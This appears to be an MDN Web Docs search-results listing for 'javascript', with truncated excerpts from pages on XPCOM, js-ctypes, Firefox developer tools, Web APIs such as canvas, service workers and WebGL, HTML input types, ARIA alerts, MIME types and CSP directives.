... xmlhttprequest.open("ahost") ok file:// documents can access http:// documents but you need to enable universalbrowserread privilege in your scripts - see the javascript security: signed scripts document for more details.
...file new bugs for additional documentation contributions, either specifically aimed at javascript developers or to complete & clarify the javadoc-style comments in the idl files.
... nsidomserializer (currently, the javascript constructor is xmlserializer()) nsidomparser (currently, the javascript constructor is domparser()) nsixmlhttprequest please see the xml linking and pointing section in xml in mozilla document for fixptr and xpointer documentation.
Accessing the Windows Registry Using XPCOM
the examples in this document are all written in javascript using xpcom.
...also notice that the path to the key has backslashes escaped, a necessity in javascript and c++ string constants.
...from javascript, you will want to use the named constants on the interface for this parameter.
...defined as named constants on the interface as follows: type_none — probably not useful type_string — a unicode string value type_binary — binary data type_int — a 32 bit integer type_int64 — a 64 bit integer each of these types (except type_none) has a corresponding method to read the value data: readstringvalue() readbinaryvalue() readintvalue() readint64value() since javascript is a dynamically-typed language, you may wish to use the following code to handle all types of data.
An Overview of XPCOM
xpconnect is the layer of xpcom that provides access to xpcom components from languages such as javascript.
... when a component is accessible from a language other than c++, such as javascript, its interface is said to be "reflected" into that language.
...currently you can write components in c, c++, or javascript (and sometimes python or java, depending on the state of the respective bindings), and there are efforts underway to build xpcom bindings for ruby and perl as well.
... writing components in other languages though you do not have access to some of the tools that xpcom provides for c++ developers (such as macros, templates, smart pointers, and others) when you create components in other languages, you may be so comfortable with the language itself that you can eschew c++ altogether and build, for example, python-based xpcom components that can be used from javascript or vice versa.
Making cross-thread calls using runnables
in the mozilla platform, most activities such as layout, dom operations, content javascript, and chrome javascript run on the main thread.
... note: javascript code cannot use the techniques described in this article.
... chrome javascript should instead use workers.
...} see also chromeworker using workers in javascript code modules the thread manager ...
Mozilla internal string guide
the same as astring with a few odd xpconnect exceptions: when the special javascript value null is passed to a domstring parameter of an xpcom method, it becomes a void domstring.
... the special javascript value undefined becomes the string "undefined".
... length() isempty() isvoid() - xpconnect will convert void nsastrings to javascript null.
...xpconnect will convert void nsastrings to javascript null.
How to build a binary XPCOM component using Visual Studio
xpcom components can be implemented in c, c++, and javascript, and can be used from c, c++, and javascript.
... that means you can call javascript methods from c++ and vice versa.
... test component in a xulrunner application in order to test your component in a xulrunner application, you need to “install” the component, “clear” the component registry, and use the component from javascript.
... use in javascript: function doxpcom() { try { const cid = "@starkravingfinkle.org/specialthing;1"; var obj = components.classes[cid].createinstance(); obj = obj.queryinterface(components.interfaces.ispecialthing); } catch (err) { alert(err); return; } var res = obj.add(3, 4); alert('3+4 = ' + res); var name = obj.name; alert('name = ' + name); obj.name = 'new name'; name = obj.name; alert('name = ' + name); } other resources creating xpcom components - mozilla how to build an xpcom component in javascript - mozilla an introduct...
Components.Constructor
summary creates a javascript function which can be used to create or construct new instances of xpcom components.
...it also gives creation of xpcom objects more javascript-like syntax.
...(this benefit is also partly a result of having to travel through the layer between the javascript engine and xpcom fewer times.) the behavior of functions returned by components.constructor() varies depending upon the arguments given to components.constructor() when called.
...it is equivalent to the following javascript function: function components_constructor(contractid, interfacename, initializer) { var ccargs = arguments; function ctor() { var instance = components.classes[contractid] .createinstance(components.interfaces.nsisupports); if (ccargs.length > 1) { instance.queryinterface(components.interfaces[interfacename]); if (ccargs.length > 2) ...
Components.utils.reportError
components.utils.reporterror reports a javascript error object to the error console, and returns.
...if it is not a javascript error object, the parameter is converted to a string and reported as a new error.
...to show them, set the preference 'javascript.options.showinconsole' to true, or use nsconsoleservice instead to show a message.
... firefox 4: the preference 'javascript.options.showinconsole' is set to true by default in this version.
Architecture basics
xpconnect is what lets javascript talk with mozilla guts, the xpcom system.
... you can imagine it like a bridge between javascript code, and mozilla guts.
... xpcshell is a command line interface to mozilla javascript.
... it's an interactive interpreter -- it gives you a shell that talks straight to mozilla, via javascript's xpconnect bridge into it.
XPConnect
xpconnect is a bridge between javascript and xpcom.
... with xpconnect, you can use xpcom components from javascript code, and interact with javascript objects from within xpcom components.
... documentation architecture basics xpconnect, javascript, xpcom, xul...
... wrappers what sorts of wrappers xpconnect generates and uses xpconnect security membranes tools xpcshell join the xpcom community choose your preferred method for joining the discussion: mailing list newsgroup rss feed irc: #developers (learn more)tools: javascript component wizard, visual c++ component wizard, visual c++ component wizard for visual studio 2010 ...
mozIJSSubScriptLoader
js/xpconnect/idl/mozijssubscriptloader.idlscriptable this interface can be used from privileged javascript to load and run javascript code from the given url at runtime.
...to get this service, use: var mozijssubscriptloader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getservice(components.interfaces.mozijssubscriptloader); note: see components.utils.import for another way to import javascript code.
... note: this method must only be called from javascript!
... note: this method must only be called from javascript!
mozIStorageStatement
only available to javascript code.
...available only to javascript code.
... note: javascript callers should always wrap their execution in a try block, and have a reset statement in a finally block.
... note: this method may only be called from javascript code.
nsIJetpack
optional javascript values to send with the message; they must be either json-serializable types or handles.
...areceiver a javascript function.
...areceiver the javascript function that should no longer be triggered.
...the code will be evaluated using at least javascript 1.8.1.
nsIPlacesImportExportService
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) in the past, this interface also offered methods for importing places data, but those methods are now part of the bookmarkhtmlutils.jsm javascript code module.
... importhtmlfromfile() obsolete since gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) note: this method has been removed; use the bookmarkhtmlutils.jsm javascript code module instead.
... importhtmlfromfiletofolder() obsolete since gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) note: this method has been removed; use the bookmarkhtmlutils.jsm javascript code module instead.loads the given bookmarks.html file and puts it in the given folder.
... note: this method has been removed; use the bookmarkhtmlutils.jsm javascript code module instead.
nsIXULBrowserWindow
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the xulbrowserwindow attribute exists on the nsixulwindow interface although both firefox and seamonkey also store their nsixulbrowserwindow reference in the global xulbrowserwindow object accessible from javascript code.
... note: the xulbrowserwindow object offered to javascript code provides a great many more methods and attributes than those listed here, which are only the ones available to c++ code.
...setjsdefaultstatus() sets the default status according to javascript's version of the default status.
... setjsstatus() sets the status according to javascript's version of the status.
Using the clipboard
const nssupportsstring = components.constructor("@mozilla.org/supports-string;1", "nsisupportsstring"); function supportsstring(str) { // create an instance of the supports-string class var res = nssupportsstring(); // store the javascript string that we want to wrap in the new nsisupportsstring object res.data = str; return res; } // create a constructor for the built-in transferable class const nstransferable = components.constructor("@mozilla.org/widget/transferable;1", "nsitransferable"); // create a wrapper to construct an nsitransferable instance and set its source to the given window, when necessary function transf...
...next we create two javascript objects which will hold the return values from gettransferdata.
...we need to convert the data back into a javascript string from an xpcom object.
... the code below can be used for this purpose: if (str) { var pastetext = str.value.queryinterface(ci.nsisupportsstring).data; } because the data from the transferable is an nsisupportsstring, we need to convert it into a javascript string.
XSLT 2.0
although xslt 2.0 is not natively supported in firefox, it is possible via saxon-b (java) or, more recently, saxon-ce (javascript) to perform xslt 2.0.
... for users saxon-ce no extensions are required, saxon-ce runs whenever a html page is loaded that links to the saxon-ce javascript library.
... for developers saxon-ce a javascript api is provided for initiating an xslt 2.0 transform from a web page.
... saxon-b the extension demonstrates how one can use liveconnect code to communicate with the saxon-b library, but one might find the javascript code module approach used inside the extension xquseme as a more reusable approach.
Add to iPhoto
this extension for mac os x serves as a demonstration of how to use js-ctypes to call mac os x carbon, core foundation, and other system frameworks from an extension written entirely in javascript.
... for the sake of organization, i chose to implement each system framework (and, mind you, i only declare the apis i actually use, not all of them) as a javascript object containing all the types and methods that framework's api.
... in c, these are declared thusly: void cfrelease(cftyperef cf); void cfretain(cftyperef cf); in javascript, this translates to: this.cfrelease = this.lib.declare("cfrelease", ctypes.default_abi, ctypes.void_t, ctypes.voidptr_t); // input: object to release this.cfretain = this.lib.declare("cfretain", ctypes.default_abi, ctypes.
...conveniently, we can simply pass in the javascript string, filepath, as the string and filepath.length as its length.
Using C struct and pointers
declaring a js-ctypes struct matching a c struct if we have a c structure like this: struct st_t { void *self; char *str; size_t buff_size; int i; float f; char c; }; we can use it in javascript by writing something like this: var st_t = new ctypes.structtype("st_t", [ { "self": ctypes.pointertype(ctypes.void_t) }, { "str": ctypes.pointertype(ctypes.char) }, { "buff_size": ctypes.size_t }, { "i": ctypes.int }, { "f": ctypes.float }, { "c": ctypes.char } ]); here we are using the structtype() factory method of the ctypes object to create a ctype object th...
... the call to structtype() returns a ctype object, and we then apply the new operator to it to create a specific instance of this newly defined type - a javascript representation of the c struct.
... using c strings with js-ctypes a pointer to char in javascript is declared as follows: var str = ctypes.pointertype(ctypes.char); now imagine you call a c function that returns a c string and you want to modify the contents of this string.
... once we have a ctypes char pointer that points to a buffer of known size, we modiify the contents of the memory block as follows: ptr.contents = string("hello world from javascript!!!"); string() adds the '\0' character.
Call Tree - Firefox Developer Tools
the call tree tells you which javascript functions the browser spent the most time in.
...it periodically samples the state of the javascript engine and records the stack for the code executing at the time.
... we've zoomed into the part of the recording that shows a long javascript marker: the call tree presents the results in a table.
... one thing to be aware of here is that idle time is classified as gecko, so parts of your profile where your javascript isn't running will contribute gecko samples.
Frame rate - Firefox Developer Tools
for example, if moving the mouse over some page element triggers some javascript that changes the element's appearance, and that triggers a reflow and a repaint, then all this work needs to be completed in that frame.
... the frame rate graph is correlated with the waterfall summary directly above it, and there we can see that the first two drops in the frame rate are correlated with orange bars, which denote time spent executing javascript.
... if we select one of these slices of the recording, the main waterfall view underneath it is zoomed into it, and we can see the function that's causing the problem: we have a javascript function from a click event that's blocking the main thread for 170 milliseconds.
...the intensive javascript article shows how you can use strategies like this to fix responsiveness problems caused by long-running synchronous javascript.
Background Tasks API - Web APIs
this code draws any pending updates to the document currently being displayed, runs any javascript code the page needs to run, accepts events from input devices, and dispatches those events to the elements that should receive them.
...it's an extremely busy chunk of code, and your main javascript code may run right inside this thread along with all of this.
... below you'll find only the html and javascript for this example.
...bel { display: inline-block; } .counter { text-align: right; padding-top: 4px; float: right; } .button { padding-top: 2px; padding-bottom: 4px; width: 100px; display: inline-block; float: left; border: 1px solid black; cursor: pointer; text-align: center; margin-top: 0; color: white; background-color: darkgreen; } #progress { width: 100%; padding-top: 6px; } javascript content now that the document structure is defined, construct the javascript code that will do the work.
Using dynamic styling information - Web APIs
one's javascript code also becomes cleaner since instead of being dedicated to styling details, it can focus on the overall semantics of each section it is creating or manipulating, leaving the precise style details to the stylesheet.
... modify a stylesheet rule with cssom <html> <head> <title>modifying a stylesheet rule with cssom</title> <style type="text/css"> body { background-color: red; } </style> <script type="text/javascript"> var stylesheet = document.stylesheets[0]; stylesheet.cssrules[0].style.backgroundcolor="blue"; </script> </head> <body> the stylesheet declaration for the body's background color is modified via javascript.
... <html> <head> <title>simple style example</title> <script type="text/javascript"> function alterstyle(elem) { elem.style.background = 'green'; } function resetstyle(elemid) { elem = document.getelementbyid(elemid); elem.style.background = 'white'; } </script> <style type="text/css"> #p1 { border: solid blue 2px; } </style> </head> <body> <!-- passes a reference to the element's object as parameter 'this'.
... more important than the two properties noted here is the use of the style object to set individual style properties on an element: <!doctype html> <html> <head> <title>style property example</title> <link rel="stylesheet" href="example.css" type="text/css"> <script type="text/javascript"> function stilo() { document.getelementbyid('d').style.color = 'orange'; } function resetstyle() { document.getelementbyid('d').style.color = 'black'; } </script> </head> <body> <div id="d" class="thunder">thunder</div> <button onclick="stilo()">click here to change text color</button> <button onclick="resetstyle()">reset text color</button> </body> </html...
CanvasRenderingContext2D.arcTo() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // tangential lines ctx.beginpath(); ctx.strokestyle = 'gray'; ctx.moveto(200, 20); ctx.lineto(200, 130); ctx.lineto(50, 20); ctx.stroke(); // arc ctx.beginpath(); ctx.strokestyle = 'black'; ctx.linewidth = 5; ctx.moveto(200, 20); ctx.arcto(200,130, 50,20, 40); ctx.stroke(); // start point ctx.beginpath(); ...
... html <canvas id="canvas"></canvas> javascript the arc begins at the point specified by moveto(): (230, 20).
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(180, 90); ctx.arcto(180,130, 110,130, 130); ctx.lineto(110, 130); ctx.stroke(); result live demo more sophisticated demo of the method.
... html <div> <label for="radius">radius: </label> <input name="radius" type="range" id="radius" min=0 max=100 value=50> <label for="radius" id="radius-output">50</label> </div> <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const controlout = document.getelementbyid('radius-output'); const control = document.getelementbyid('radius'); control.oninput = () => { controlout.textcontent = r = control.value; }; const mouse = { x: 0, y: 0 }; let r = 100; // radius const p0 = { x: 0, y: 50 }; const p1 = { x: 100, y: 100 }; const p2 = { x: 150, y: 50 }; const p3 = { x: 200, y: 100 }; const labelpoint = function (p, offset...
Manipulating video using canvas - Web APIs
this tutorial demonstrates how to perform chroma-keying (also known as the "green screen effect") using javascript code.
...der :1px solid #444444; padding:10px; margin: 10px; background:#3b3b3b; } </style> </head> <body> <div> <video id="video" src="media/video.mp4" controls="true" crossorigin="anonymous"/> </div> <div> <canvas id="c1" width="160" height="96"></canvas> <canvas id="c2" width="160" height="96"></canvas> </div> <script type="text/javascript" src="processor.js"></script> </body> </html> the key bits to take away from this are: this document establishes two canvas elements, with the ids c1 and c2.
... the javascript code is imported from a script named processor.js.
... the javascript code the javascript code in processor.js consists of three methods.
Canvas API - Web APIs
the canvas api provides a means for drawing graphics via javascript and the html <canvas> element.
... html <canvas id="canvas"></canvas> javascript the document.getelementbyid() method gets a reference to the html <canvas> element.
... javascript infovis toolkit creates interactive data visualizations.
... scrawl-canvas is an open-source javascript library for creating and manipulating 2d canvas elements.
console.assert() - Web APIs
WebAPIConsoleassert
objn a list of javascript objects to output.
... msg a javascript string containing zero or more substitution strings.
...substn javascript objects with which to replace substitution strings within msg.
... examples the following code example demonstrates the use of a javascript object following the assertion: const errormsg = 'the # is not even'; for (let number = 2; number <= 5; number += 1) { console.log('the # is ' + number); console.assert(number % 2 === 0, {number: number, errormsg: errormsg}); // or, using es2015 object property shorthand: // console.assert(number % 2 === 0, {number, errormsg}); } // output: // the # is 2 // the # is 3 // assertion failed: {number: 3, errormsg: "the # is not even"} // the # is 4 // the # is 5 // assertion failed: {number: 5, errormsg: "the # is not even"} note that, while a string containing a substitution string works as a parameter for console.log in node and many...
console.log() - Web APIs
WebAPIConsolelog
the message may be a single string (with optional substitution values), or it may be any one or more javascript objects.
...objn a list of javascript objects to output.
... msg a javascript string containing zero or more substitution strings.
...substn javascript objects with which to replace substitution strings within msg.
Using files from web applications - Web APIs
using a label element to trigger a hidden file input element to allow opening the file picker without using javascript (the click() method), a <label> element can be used.
... css: .visually-hidden { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px, 1px, 1px, 1px); } /* separate rule for compatibility, :focus-within is required on modern firefox and chrome */ input.visually-hidden:focus + label { outline: thin dotted; } input.visually-hidden:focus-within + label { outline: thin dotted; } there is no need to add javascript code to call fileelem.click().
... asynchronously handling the file upload process this example, which uses php on the server side and javascript on the client side, demonstrates asynchronous uploading of a file.
...$_files['myfile']['name']); exit; } ?><!doctype html> <html> <head> <title>dnd binary upload</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <script type="application/javascript"> function sendfile(file) { const uri = "/index.php"; const xhr = new xmlhttprequest(); const fd = new formdata(); xhr.open("post", uri, true); xhr.onreadystatechange = function() { if (xhr.readystate == 4 && xhr.status == 200) { alert(xhr.responsetext); // handle response.
Working with the History API - Web APIs
example of pushstate() method suppose http://mozilla.org/foo.html executes the following javascript: let stateobj = { foo: "bar", } history.pushstate(stateobj, "page 2", "bar.html") this will cause the url bar to display http://mozilla.org/bar.html, but won't cause the browser to load bar.html or even check that bar.html exists.
... state object the state object is a javascript object which is associated with the new history entry created by pushstate().
... example of replacestate() method suppose http://mozilla.org/foo.html executes the following javascript: let stateobj = { foo: "bar" } history.pushstate(stateobj, "page 2", "bar.html") the explanation of these two lines above can be found at the above section example of pushstate() method section.
... next, suppose http://mozilla.org/bar.html executes the following javascript: history.replacestate(stateobj, "page 3", "bar2.html") this will cause the url bar to display http://mozilla.org/bar2.html, but won't cause the browser to load bar2.html or even check that bar2.html exists.
Checking when a deadline is due - Web APIs
this would be easy if we were just comparing two date objects, but of course humans don't want to enter deadline information in the same format javascript understands.
...break; case "february": var monthnumber = 1; break; // other lines removed from listing for brevity case "december": var monthnumber = 11; break; default: alert('incorrect month entered in database.'); } the first thing we do is convert the month names we have stored in the database into a month number that javascript will understand.
... as we saw before, the javascript date object creates month values as a number between 0 and 11.
...this is needed because javascript date number values never have leading zeros, but our data might.
PromiseRejectionEvent - Web APIs
the promiserejectionevent interface represents events which are sent to the global script context when javascript promises are rejected.
... promiserejectionevent.promise read only the javascript promise that was rejected.
... events rejectionhandled fired when a javascript promise is rejected, and after the rejection is handled by the promise's rejection handling code.
... unhandledrejection fired when a javascript promise is rejected but there is no rejection handler to deal with the rejection.
Using Service Workers - Web APIs
service worker syntax is more complex than that of appcache, but the trade off is that you can use javascript to control your appcache-implied behaviors with a fine degree of granularity, allowing you to handle this problem and many more.
... note: you can also chain promise calls together, for example: mypromise().then(success, failure).then(success).catch(failure); note: you can find a lot more out about promises by reading jake archibald’s excellent javascript promises: there and back again.
... registering your worker the first block of code in our app’s javascript file — app.js — is as follows.
... next, we use the serviceworkercontainer.register() function to register the service worker for this site, which is just a javascript file residing inside our app (note this is the file's url relative to the origin, not the js file that references it.) the scope parameter is optional, and can be used to specify the subset of your content that you want the service worker to control.
Streams API concepts - Web APIs
the streams api adds a very useful set of tools to the web platform, providing objects allowing javascript to programmatically access streams of data received over the network and process them as desired by the developer.
... readable streams a readable stream is a data source represented in javascript by a readablestream object that flows from an underlying source — this is a resource somewhere on the network or elsewhere on your domain that you want to get data from.
... in javascript, this is achieved via the readablestream.tee() method — it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers.
... writable streams a writable stream is a destination into which you can write data, represented in javascript by a writablestream object.
Data in WebGL - Web APIs
WebAPIWebGL APIData
each kind of variable is accessible by one or both types of shader program (depending on the data store type) and possibly by the site's javascript code, depending on the specific type of variable.
... attributes attributes are glsl variables which are only available to the vertex shader (as variables) and the javascript code.
... attributes are typically used to store color information, texture coordinates, and any other data calculated or retrieved that needs to be shared between the javascript code and the vertex shader.
... <<how to use>> uniforms uniforms are set by the javascript code and are available to both the vertex and fragment shaders.
WebGL: 2D and 3D graphics for the web - Web APIs
WebAPIWebGL API
webgl (web graphics library) is a javascript api for rendering high-performance interactive 3d and 2d graphics within any compatible web browser without the use of plug-ins.
... webgl academy an html/javascript editor with tutorials to learn basics of webgl programming.
... libraries glmatrix is a javascript matrix and vector library for high-performance webgl apps.
... vtk.js is a javascript library for scientific visualization in your browser.
Web Authentication API - Web APIs
note most javascript programmers that are creating an application will only really care about steps 1 and 5 where the create() function is called and subsequently returns; however, steps 2, 3, and 4 are essential to understanding the processing that takes place in the browser and authenticator and what the resulting data means.
... server sends challenge, user info, and relying party info - the server sends a challenge, user information, and relying party information to the javascript program.
... server sends challenge - the server sends a challenge to the javascript program.
...it is up to the javascript application to transmit this data back to the server using any protocol and format of its choice.
Using the Web Speech API - Web APIs
javascript let's look at the javascript in a bit more detail.
...however, for now let's just run through it quickly: the lines are separated by semi-colons, just like in javascript.
...the <select> element is initially empty, but is populated with <option>s via javascript (see later on.) <h1>speech synthesiser</h1> <p>enter some text in the input below and press return to hear it.
...bel for="rate">rate</label><input type="range" min="0.5" max="2" value="1" step="0.1" id="rate"> <div class="rate-value">1</div> <div class="clearfix"></div> </div> <div> <label for="pitch">pitch</label><input type="range" min="0" max="2" value="1" step="0.1" id="pitch"> <div class="pitch-value">1</div> <div class="clearfix"></div> </div> <select> </select> </form> javascript let's investigate the javascript that powers this app.
XMLHttpRequest - Web APIs
xmlhttprequest.response read only returns an arraybuffer, blob, document, javascript object, or a domstring, depending on the value of xmlhttprequest.responsetype, that contains the response entity body.
...the response to the request, as a javascript typed array.
... warning: this method must not be called from javascript.
...this method is to be used from native code; to initialize a request from javascript code, use open() instead.
ARIA: alert role - Accessibility
it is perfect for situations such as when a user fills out a form and javascript is used to add an error message - the alert would immediately read out the message.
...when the display value is changed with css or javascript, it would automatically trigger the screen reader to read out the content.
... <p role="alert" style="display: none;">the alert will trigger when the element becomes visible.</p> while triggering an alert via css alone is possible, it is better to rely on javascript because it has more browser/screen reader support and is often more appropriate as part of a larger user interaction such as inside an event handler or form validation.
... with javascript, developers control the adding and removing of alerts as appropriate.
Alerts - Accessibility
instead of using the javascript ‘alert’ function, we’ll use a simple wai-aria widget for notification.
... this notifies the user of the error, but allows for them continue modifying the form without losing focus (caused by the “onblur” handler in javascript's default ‘alert’ function).
... below is example javascript code which could be inserted above the closing “head” tag: <script type="application/javascript"> function removeoldalert() { var oldalert = document.getelementbyid("alert"); if (oldalert){ document.body.removechild(oldalert); } } function addalert(amsg) { removeoldalert(); var newalert = document.createelement("div"); newalert.setattribute("role", "alert"); newalert.setattribute("id", "alert"); var msg = document.createtextnode(amsg); newalert.appendchild(msg); document.body.appendchild(newalert); } function checkvalidity(aid, asearchterm, amsg) { var elem = document.getelementbyid(aid); var invalid = (elem.value.indexof(asearchterm) < 0); if (invalid) { elem.setattribute("aria-invalid", "true"); ad...
...dalert(amsg); } else { elem.setattribute("aria-invalid", "false"); removeoldalert(); } } </script> the checkvalidity function the primary method in javascript used for form validation is the checkvalidity function.
Accessibility
css and javascript accessibility best practices css and javascript, when used properly, also have the potential to allow for accessible web experiences ...
...this article outlines some css and javascript best practices that should be considered to ensure even complex content is as accessible as possible.
... wai-aria basics following on from the previous article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult.
... keyboard-navigable javascript widgets until now, web developers who want to make their styled <div> and <span> based widgets accessible have lacked the proper techniques.
Video player styling basics - Developer guides
javascript as mentioned above, a data-state attribute is used in various places for styling purposes and these are set using javascript.
...the internal <span> element used as the actual progressing part of the faked progress bar has its width initially set to 0% (it is updated via javascript) and it also has its background colour set.
... javascript that's really it for the immediate styling; the next task is making a number of javascript changes to ensure that everything works as expected.
... control visibility the first change is simple: the data-state for showing the video controls when javascript is available to the browser now needs to be set: // display the user defined video controls videocontrols.setattribute('data-state', 'visible'); progress bar support a check also needs to be made to set up the "fake" progress bar if the browser doesn't support the <progress> element: var supportsprogress = (document.createelement('progress').max !== undefined); if (!supportsprogress) progress.setattribute('data-state', 'fake'); button functionality this section looks at the javascript required for implementing the button functionality.
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
let's look at this from two sides: using color within a stylesheet, and adding and changing color using javascript code to alter the styles of elements.
... html the html here creates a box that contains a color picker control (with a label created using the <label> element) and an empty paragraph element (<p>) into which we'll output some text from our javascript code.
...the border is also established with a 2-pixel width and a border color that won't last, courtesy of the javascript below...
... #box { width: 500px; height: 200px; border: 2px solid rgb(245, 220, 225); padding: 4px 6px; font: 16px "lucida grande", "helvetica", "arial", "sans-serif" } javascript the script here handles the task of updating the starting color of the border to match the color picker's value.
<input type="datetime-local"> - HTML: Hypertext Markup Language
you can also get and set the date value in javascript using the htmlinputelement.value property, for example: var datecontrol = document.queryselector('input[type="datetime-local"]'); datecontrol.value = '2017-06-01t08:30'; there are several methods provided by javascript's date that can be used to convert numeric date information into a properly-formatted string, or you can do it manually.
...: absolute; right: -18px; } input:valid + span { position: relative; } input:valid + span:after { content: '✓'; position: absolute; right: -18px; } the best way to deal with dates in forms in a cross-browser way at the moment is to get the user to enter the day, month, year, and time in separate controls (<select> elements being popular — see below for an implementation), or use javascript libraries such as jquery date picker, and the jquery timepicker plugin.
... the y2k38 problem (often server-side) javascript uses double precision floating points to store dates, as with all numbers, meaning that javascript code will not suffer from the y2k38 problem unless integer coercion/bit-hacks are used because all javascript bit operators use 32-bit signed 2s-complement integers.
...here is javascript code for programmatically setting the value: function setvalue(element, date) { var isostring = date.toisostring() element.value = isostring.substring(0, (isostring.indexof("t")|0) + 6|0); } why worry about the y10k problem if it is going to happen many centuries after your death?
<input type="file"> - HTML: Hypertext Markup Language
WebHTMLElementinputfile
once chosen, the files can be uploaded to a server using form submission, or manipulated using javascript code and the file api.
...javascript can access the other files through the input's files property.
...we won't explain the css; the javascript is the main focus.
... next, let's walk through the javascript.
<input type="month"> - HTML: Hypertext Markup Language
WebHTMLElementinputmonth
you can also get and set the date value in javascript using the htmlinputelement.value property, for example: <label for="bday-month">what month were you born in?</label> <input id="bday-month" type="month" name="bday-month" value="2017-06"> var monthcontrol = document.queryselector('input[type="month"]'); monthcontrol.value = '1978-06'; additional attributes in addition to the attributes common to <input> elements, month inputs offer the ...
...its value can, however, still be changed from javascript code that directly sets the value of the htmlinputelement.value property.
...tent: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; } the best way to deal with dates in forms in a cross-browser way (until all of the major browsers have supported them for a while) is to get the user to enter the month and year in separate controls (<select> elements being popular; see below for an implementation), or use javascript libraries such as the jquery date picker plugin.
... div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; } javascript the javascript code that handles selecting which approach to use and to set up the list of years to include in the non-native year <select> follows.
<input type="password"> - HTML: Hypertext Markup Language
WebHTMLElementinputpassword
it must be a valid javascript regular expression, as used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii.
...its value can, however, still be changed from javascript code that directly sets the value of the htmlinputelement.value property.
... html <label for="userpassword">password: </label> <input id="userpassword" type="password" size="12"> <button id="selectall">select all</button> javascript document.getelementbyid("selectall").onclick = function() { document.getelementbyid("userpassword").select(); } result you can also use selectionstart and selectionend to get (or set) what range of characters in the control are currently selected, and selectiondirection to know which direction selection occurred in (or will be extended in, depending on your platform; see its documentation ...
... javascript this is just some simple code to display the entered ssn onscreen so you can see it.
<input type="time"> - HTML: Hypertext Markup Language
WebHTMLElementinputtime
you can set a default value for the input by including a valid time in the value attribute when creating the <input> element, like so: <label for="appt-time">choose an appointment time: </label> <input id="appt-time" type="time" name="appt-time" value="13:30"> you can also get and set the date value in javascript using the htmlinputelement.value property, for example: var timecontrol = document.queryselector('input[type="time"]'); timecontrol.value = '15:30'; time value format the value of the time input is always in 24-hour format that includes leading zeros: hh:mm, regardless of the input format, which is likely to be selected based on the user's locale (or by the user agent).
... </p> </form> the javascript code adds code to the time input to watch for the input event, which is triggered every time the contents of an input element change.
...its value can, however, still be changed by javascript code directly setting the htmlinputelement.value property.
...position: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; } the best way to deal with times in forms in a cross-browser way, for the time being, is to get the user to enter the hours and minutes (and seconds if required) in separate controls (<select> elements are popular; see below for an example), or use javascript libraries such as the jquery timepicker plugin.
<input type="week"> - HTML: Hypertext Markup Language
WebHTMLElementinputweek
you can also get and set the value in javascript using the input element's value property, for example: var weekcontrol = document.queryselector('input[type="week"]'); weekcontrol.value = '2017-w45'; additional attributes in addition to the attributes common to <input> elements, week inputs offer the following attributes: attribute description max the latest year and week to accept as valid input min ...
...its value can, however, still be changed by javascript code directly setting the htmlinputelement.value property.
... the best way to deal with week/years in forms in a cross-browser way at the moment is to get the user to enter the week number and year in separate controls (<select> elements being popular; see below for an example), or use javascript libraries such as jquery date picker.
...week">week:</label> <select id="fallbackweek" name="week"> </select> </span> <span> <label for="year">year:</label> <select id="year" name="year"> <option value="2017" selected>2017</option> <option value="2018">2018</option> </select> </span> </div> </div> </form> the week values are dynamically generated by the javascript code below.
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
WebHTMLElementinput
it must be a valid javascript regular expression, as used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii.
...when specified in the html, this is the initial value, and from then on it can be altered or retrieved at any time using javascript to access the respective htmlinputelement object's value property.
... :indeterminate checkbox elements whose indeterminate property is set to true by javascript, radio elements, when all radio buttons with the same name value in the form are unchecked, and <progress> elements in an indeterminate state :valid form controls that can have constraint validation applied and are currently valid.
... if you wanted to instead display custom error messages, you could use javascript like the following: const nameinput = document.queryselector('input'); const form = document.queryselector('form'); nameinput.addeventlistener('input', () => { nameinput.setcustomvalidity(''); nameinput.checkvalidity(); }); nameinput.addeventlistener('invalid', () => { if(nameinput.value === '') { nameinput.setcustomvalidity('enter your username!'); } else { nameinput.setcustom...
MIME types (IANA media types) - HTTP
text/javascript per the html specification, javascript files should always be served using the mime type text/javascript.
... for historical reasons, the mime sniffing standard (the definition of how browsers should interpret media types and figure out what to do with content that doesn't have a valid one) allows javascript to be served using any mime type that essentially matches any of the following: application/javascript application/ecmascript application/x-ecmascript application/x-javascript text/javascript text/ecmascript text/javascript1.0 text/javascript1.1 text/javascript1.2 text/javascript1.3 text/javascript1.4 text/javascript1.5 text/jscript text/livescript text/x-ecmascript text/x-javascript note: even though any given user agent may support any or all of the...
...se, you should only use text/javascript.
... some content you find may have a charset parameter at the end of the text/javascript media type, to specify the character set used to represent the code's content.
CSP: form-action - HTTP
if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
